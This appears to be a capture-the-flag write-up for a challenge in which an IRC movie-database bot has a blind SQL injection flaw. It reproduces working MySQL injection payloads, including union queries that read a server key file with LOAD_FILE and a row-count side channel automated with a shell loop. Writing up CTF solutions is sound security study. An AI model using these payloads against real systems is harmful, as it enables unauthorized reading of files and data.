Help us fight the evil robotic lieutenant Don Sim. He wants to spread robo propaganda to cover his actions on the Oktoberfest. But he needs good video footage for that. So he created an IRC bot that collects information about robots in movies. Robotic emancipation can NOT happen, you have to stop him! All we need is his private key. Our agents located the bot, here is all we know about it:

  • Server: irc://
  • Bot: lib[1-5] (load balancer)
  • Key: /var/private/key.txt
  • Hint: All available commands are listed with help. 3 connections allowed per ip.

The service allows users to store information about movies. We query lib7 to describe how it works. Basically we just:

  • add a movie titled c00kies@venice
  • get its numeric id using the search command
  • add some robots to the previously entered movie
  • retrieve all the information associated with the specified id.
18:51 <lavish> help
18:51 <lib7> help; details [movie id]; search [keyword]; add movie [title]; add robot [movie id] [name]
18:51 <lavish> add movie c00kies@venice
18:51 <lib7> !OK
18:52 <lavish> search c00kies
18:52 <lib7> 3169: c00kies@venice;
18:52 <lavish> add robot 3169 bisquits
18:52 <lib7> !OK
18:52 <lavish> add robot 3169 cakes
18:52 <lib7> !OK
18:53 <lavish> add robot 3169 choco
18:53 <lib7> !OK
18:53 <lavish> details 3169
18:53 <lib7> c00kies@venice: choco; cakes; bisquits; (3 total)

After several tests, we identify the details command to be vulnerable to SQL injections.

19:17 <lavish> details 3169')#
19:17 <lib7> c00kies@venice: choco; cakes; bisquits; (3 total)

The DB appears to be MySQL. We notice that LOAD_FILE() is allowed. It looks like that reading the key file is going to be an easy job: we are so happy. Unfortunately, the bot does not print the output of the query, but only the number of rows in the result-set.

19:23 <lavish> details 3169')union/**/select/**/load_file('/var/private/key.txt')#
19:23 <lib7> c00kies@venice: choco; cakes; bisquits; (4 total)

Retrieving the file contents can be easily done by standard blind SQL injection techniques like bisection. We are anyway interested in obtaining each character of the key file with a single query. To mount this attack, we must be able to generate an arbitrary number of rows in the result-set. In this way, we can perform a query that prints a number of records which is equal to the ASCII index of the character we want to obtain. For example, the following injection allows us the recover the first character of the key file:

21:08 <lavish> details 3171')/**/union/**/all/**/select/**/1/**/from/**/movies/**/where/**/id>100/**/and/**/id<=100+(select/**/ord(mid((select/**/load_file('/var/private/key.txt')),1,1)))#
21:08 <lib7> c00kies@venice: (53 total)

In the code above we rely on the movie table that stores contiguous ids of the inserted movies. If the table name was not easy to guess, we could have used another method for building the row generator.

21:10 <lavish> details 3171')/**/union/**/all/**/select/**/@num:=@num+1/**/from/**/information_schema.columns,(select/**/@num:=0)x/**/where/**/@num<(select/**/ord(mid((select/**/load_file('/var/private/key.txt')),1,1)))#
21:10 <lib7> c00kies@venice: (53 total)

Life would have been easier with Postgres :)

So, the first character is 5 (ASCII index 53). To recover all the characters, we use the facilities provided by irssi in order to parametrize the previous query:

/exec -o for i in {1..65}; do echo "details 3171')/**/union/**/all/**/select/**/1/**/from/**/movies/**/where/**/id>100/**/and/**/id<=100+(select/**/ord(mid((select/**/load_file('/var/private/key.txt')),$i,1)))#"; done

Once all the ASCII indices are retrieved, we can obtain the whole key by executing:

>>> ''.join(chr(int(c, 10)) for c in "53 56 99 54 51 100 51 54 50 53 98 57 52 56 98 49 48 97 56 57 55 51 55 49 102 48 101 54 53 54 52 53 53 97 55 56 101 50 51 53 100 98 53 54 57 48 101 50 100 49 98 98 102 50 51 97 49 56 56 51 100 52 101 99 10".split())

Flag: 58c63d3625b948b10a897371f0e656455a78e235db5690e2d1bbf23a1883d4ec